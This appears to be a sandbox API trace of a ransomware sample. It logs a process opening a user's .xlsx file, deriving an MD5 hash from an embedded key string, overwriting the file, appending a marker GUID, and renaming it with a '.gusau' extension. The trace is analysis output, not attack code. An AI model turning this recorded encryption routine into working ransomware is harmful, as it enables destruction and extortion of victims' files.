[0117.266] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9d4df60, ftCreationTime.dwHighDateTime=0x1d51e8d, ftLastAccessTime.dwLowDateTime=0xdea4e220, ftLastAccessTime.dwHighDateTime=0x1d4c56a, ftLastWriteTime.dwLowDateTime=0xdea4e220, ftLastWriteTime.dwHighDateTime=0x1d4c56a, nFileSizeHigh=0x0, nFileSizeLow=0x4f5f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_7Xr5yfzUYNnPcQwSd50.xlsx", cAlternateFileName="_7XR5Y~1.XLS")) returned 1 [0117.266] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.266] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x3883e18 [0117.266] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.266] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_7Xr5yfzUYNnPcQwSd50.xlsx") returned=".xlsx" [0117.267] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_7Xr5yfzUYNnPcQwSd50.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_7xr5yfzuynnpcqwsd50.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.267] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=20319) returned 1 [0117.267] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.269] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x4f39, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.269] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.270] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.270] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.270] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.270] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x4f5f, lpOverlapped=0x0) returned 1 [0117.271] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.271] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.271] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.271] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.271] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0117.272] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.272] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.272] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.272] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.272] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.272] GetLastError () returned 0x0 [0117.272] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.272] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0117.272] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.272] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x4f60) returned 0x39f9f20 [0117.272] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.272] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.272] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x4f5a, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x4f5a, lpOverlapped=0x0) returned 1 [0117.273] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.273] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x4f5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.273] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.273] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5210 [0117.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5210, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.273] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5640 [0117.273] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.273] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.273] WriteFile (in: hFile=0x610, lpBuffer=0x39f5640*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5640*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.273] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5640 | out: hHeap=0xd10000) returned 1 [0117.273] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.273] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.273] CloseHandle (hObject=0x610) returned 1 [0117.274] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x390b9c0 [0117.274] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x890) returned 0x39f5210 [0117.274] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390b9c0 | out: hHeap=0xd10000) returned 1 [0117.274] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_7Xr5yfzUYNnPcQwSd50.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_7xr5yfzuynnpcqwsd50.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_7Xr5yfzUYNnPcQwSd50.xlsx.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_7xr5yfzuynnpcqwsd50.xlsx.gusau")) returned 1 [0117.275] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.275] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.276] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0117.276] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9d4df60, ftCreationTime.dwHighDateTime=0x1d51e8d, ftLastAccessTime.dwLowDateTime=0xdea4e220, ftLastAccessTime.dwHighDateTime=0x1d4c56a, ftLastWriteTime.dwLowDateTime=0xdea4e220, ftLastWriteTime.dwHighDateTime=0x1d4c56a, nFileSizeHigh=0x0, nFileSizeLow=0x4f5f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_7Xr5yfzUYNnPcQwSd50.xlsx", cAlternateFileName="_7XR5Y~1.XLS")) returned 0 [0117.276] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0117.276] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0117.276] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.276] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0117.276] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.276] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0117.276] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.276] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.277] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f5210 [0117.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.277] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5210 [0117.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5210 [0117.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f5210 [0117.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f5210 [0117.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5210 [0117.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5210 [0117.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f5210 [0117.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 